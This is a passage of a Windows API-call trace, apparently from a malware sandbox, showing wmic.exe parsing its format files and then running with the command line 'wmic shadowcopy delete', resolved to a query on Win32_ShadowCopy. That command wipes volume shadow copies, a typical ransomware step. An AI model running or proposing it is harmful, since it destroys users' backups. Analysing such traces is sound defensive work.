attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.426] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.426] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="texttablewsys", varVal2=0x0)) returned 0x0 [0316.426] SysStringLen (param_1="texttablewsys") returned 0xd [0316.426] SysStringLen (param_1="TABLE") returned 0x5 [0316.426] SysStringLen (param_1="texttablewsys") returned 0xd [0316.426] SysStringLen (param_1="XML") returned 0x3 [0316.426] SysStringLen (param_1="texttablewsys") returned 0xd [0316.426] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.426] SysStringLen (param_1="XML") returned 0x3 [0316.426] SysStringLen (param_1="texttablewsys") returned 0xd [0316.426] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.426] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.426] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.426] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=11, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.426] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.426] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.427] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.427] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat.xsl", varVal2=0x0)) returned 0x0 [0316.427] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.427] SysStringLen (param_1="TABLE") returned 0x5 [0316.427] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.427] SysStringLen (param_1="XML") returned 0x3 [0316.427] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.427] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.427] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.427] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.427] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.427] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.427] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.427] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=12, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.427] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.427] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.427] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.427] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0316.427] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.427] SysStringLen (param_1="TABLE") returned 0x5 [0316.427] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.427] SysStringLen (param_1="XML") returned 0x3 [0316.427] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.427] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.427] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.427] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.427] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.427] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.428] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.428] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.428] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.428] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=13, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.428] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.428] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.428] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.428] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0316.428] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.428] SysStringLen (param_1="TABLE") returned 0x5 [0316.428] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.428] SysStringLen (param_1="XML") returned 0x3 [0316.428] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.428] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.428] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.428] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.428] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.428] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.428] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.428] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.428] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.428] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=14, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.428] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="texttable.xsl") returned 0x0 [0316.428] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.428] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.428] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] SysStringLen (param_1="TABLE") returned 0x5 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] SysStringLen (param_1="XML") returned 0x3 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.429] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.429] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0316.429] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.429] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.429] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.429] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=15, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.429] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="htable.xsl") returned 0x0 [0316.429] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.429] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.429] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0316.429] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.429] SysStringLen (param_1="TABLE") returned 0x5 [0316.429] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.429] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.429] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.429] SysStringLen (param_1="XML") returned 0x3 [0316.429] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.429] SysStringLen (param_1="texttablewsys") returned 0xd [0316.429] SysStringLen (param_1="XML") returned 0x3 [0316.429] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.429] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.429] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.429] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.429] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=16, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.430] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="htable.xsl") returned 0x0 [0316.430] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.430] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.430] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] SysStringLen (param_1="TABLE") returned 0x5 [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] SysStringLen (param_1="XML") returned 0x3 [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] SysStringLen (param_1="texttablewsys") returned 0xd [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0316.430] SysStringLen (param_1="XML") returned 0x3 [0316.430] SysStringLen (param_1="htable-sortby") returned 0xd [0316.430] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.430] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.430] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.430] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=17, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.430] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="mof.xsl") returned 0x0 [0316.430] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.430] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.430] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0316.430] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.430] SysStringLen (param_1="TABLE") returned 0x5 [0316.431] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.431] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.431] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.431] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.431] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.431] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.431] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.431] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.431] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.431] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.431] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.431] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=18, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.431] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="mof.xsl") returned 0x0 [0316.431] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.431] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.431] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] SysStringLen (param_1="TABLE") returned 0x5 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0316.431] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.431] SysStringLen (param_1="wmiclimofformat") returned 0xf [0316.431] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.431] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.431] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.431] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=19, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.431] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="textvaluelist.xsl") returned 0x0 [0316.431] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.432] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.432] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0316.432] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.432] SysStringLen (param_1="TABLE") returned 0x5 [0316.432] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.432] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.432] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.432] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.432] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.432] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.432] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.432] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.432] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.432] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.432] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.432] IXMLDOMNodeList:get_item (in: This=0x6e09ca0, index=20, listItem=0x4fffa30 | out: listItem=0x4fffa30*=0x6e06b88) returned 0x0 [0316.432] IXMLDOMNode:get_text (in: This=0x6e06b88, text=0x4fffa34 | out: text=0x4fffa34*="textvaluelist.xsl") returned 0x0 [0316.432] IXMLDOMNode:get_attributes (in: This=0x6e06b88, attributeMap=0x4fffa2c | out: attributeMap=0x4fffa2c*=0x6e09fa8) returned 0x0 [0316.432] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x6e09fa8, name="KEYWORD", namedItem=0x4fffa28 | out: namedItem=0x4fffa28*=0x6e09ff8) returned 0x0 [0316.432] IXMLDOMNode:get_nodeValue (in: This=0x6e09ff8, value=0x4fff9e8 | out: value=0x4fff9e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0316.432] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] SysStringLen (param_1="TABLE") returned 0x5 [0316.433] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0316.433] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0316.433] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.433] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0316.433] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0316.433] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0316.433] IUnknown:Release (This=0x6e06b88) returned 0x0 [0316.433] IUnknown:Release (This=0x6e09fa8) returned 0x0 [0316.433] IUnknown:Release (This=0x6e09ff8) returned 0x0 [0316.433] IUnknown:Release (This=0x6e09ca0) returned 0x0 [0316.433] IUnknown:Release (This=0x6e06b48) returned 0x1 [0316.433] FreeThreadedDOMDocument:IUnknown:Release (This=0x6e045a8) returned 0x0 [0316.433] GetCommandLineW () returned="\"C:\\Windows\\system32\\wbem\\wmic.exe\" shadowcopy delete" [0316.433] memcpy_s (in: _Destination=0x5482df0, _DestinationSize=0x6e, _Source=0x5081620, _SourceSize=0x6a | out: _Destination=0x5482df0) returned 0x0 [0316.433] GetLocalTime (in: lpSystemTime=0x4fff9c8 | out: lpSystemTime=0x4fff9c8*(wYear=0x7e2, wMonth=0x1, wDayOfWeek=0x5, wDay=0x1a, wHour=0x11, wMinute=0x38, wSecond=0x38, wMilliseconds=0x154)) [0316.433] _vsnwprintf (in: _Buffer=0x5488178, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x4fff9a8 | out: _Buffer="01-26-2018T17:56:56") returned 19 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.433] lstrlenW (lpString="shadowcopy") returned 10 [0316.433] _wcsicmp (_String1="shadowcopy", _String2="\"NULL\"") returned 81 [0316.433] lstrlenW (lpString=" shadowcopy delete") returned 18 [0316.434] lstrlenW (lpString="delete") returned 6 [0316.434] _wcsicmp (_String1="delete", _String2="\"NULL\"") returned 66 [0316.434] memmove_s (in: _Destination=0x5488230, _DestinationSize=0x4, _Source=0x5480598, _SourceSize=0x4 | out: _Destination=0x5488230) returned 0x0 [0316.434] lstrlenW (lpString="QUIT") returned 4 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0316.434] lstrlenW (lpString="EXIT") returned 4 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0316.434] WbemLocator:IUnknown:AddRef (This=0x5093098) returned 0x2 [0316.434] lstrlenW (lpString="/") returned 1 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0316.434] lstrlenW (lpString="-") returned 1 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0316.434] lstrlenW (lpString="CLASS") returned 5 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0316.434] lstrlenW (lpString="PATH") returned 4 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0316.434] lstrlenW (lpString="CONTEXT") returned 7 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="shadowcopy", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] lstrlenW (lpString="shadowcopy") returned 10 [0316.434] GetCurrentThreadId () returned 0x8f8 [0316.434] ??0CHString@@QAE@XZ () returned 0x4fff91c [0316.434] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5093098, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9540 | out: ppNamespace=0xcc9540*=0x50b09a0) returned 0x0 [0316.466] CoSetProxyBlanket (pProxy=0x50b09a0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0316.466] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.466] GetCurrentThreadId () returned 0x8f8 [0316.466] ??0CHString@@QAE@XZ () returned 0x4fff8c4 [0316.467] SysStringLen (param_1="root\\cli") returned 0x8 [0316.467] SysStringLen (param_1="\\") returned 0x1 [0316.467] SysStringLen (param_1="root\\cli\\") returned 0x9 [0316.467] SysStringLen (param_1="ms_409") returned 0x6 [0316.467] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5093098, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xcc9544 | out: ppNamespace=0xcc9544*=0x50b0db0) returned 0x0 [0316.476] ??1CHString@@QAE@XZ () returned 0x73e46430 [0316.476] GetCurrentThreadId () returned 0x8f8 [0316.476] ??0CHString@@QAE@XZ () returned 0x4fff920 [0316.476] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0316.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc81478, cbMultiByte=-1, lpWideCharStr=0x5489930, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0316.476] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0316.476] SysStringLen (param_1="shadowcopy") returned 0xa [0316.476] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0316.476] SysStringLen (param_1="'") returned 0x1 [0316.476] IWbemServices:GetObject (in: This=0x50b09a0, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x4fff91c*=0x0, ppCallResult=0x0 | out: ppObject=0x4fff91c*=0x50ce8d0, ppCallResult=0x0) returned 0x0 [0316.485] IWbemClassObject:Get (in: This=0x50ce8d0, wszName="Target", lFlags=0, pVal=0x4fff8f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff8f4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.485] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.485] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0316.485] IWbemClassObject:Get (in: This=0x50ce8d0, wszName="PWhere", lFlags=0, pVal=0x4fff8f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff8f4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.485] lstrlenW (lpString=" Where ID = '#'") returned 15 [0316.485] lstrlenW (lpString=" Where ID = '#'") returned 15 [0316.485] IWbemClassObject:Get (in: This=0x50ce8d0, wszName="Connection", lFlags=0, pVal=0x4fff8f4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff8f4*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50cec90, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.485] IUnknown:QueryInterface (in: This=0x50cec90, riid=0xc869ac*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x4fff910 | out: ppvObject=0x4fff910*=0x50cec90) returned 0x0 [0316.485] GetCurrentThreadId () returned 0x8f8 [0316.485] ??0CHString@@QAE@XZ () returned 0x4fff890 [0316.486] IWbemClassObject:Get (in: This=0x50cec90, wszName="Namespace", lFlags=0, pVal=0x4fff874*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0316.486] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0316.486] IWbemClassObject:Get (in: This=0x50cec90, wszName="Locale", lFlags=0, pVal=0x4fff874*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50b6bac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] lstrlenW (lpString="ms_409") returned 6 [0316.486] lstrlenW (lpString="ms_409") returned 6 [0316.486] IWbemClassObject:Get (in: This=0x50cec90, wszName="User", lFlags=0, pVal=0x4fff874*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50b6bac, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x4fff874*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0316.486] 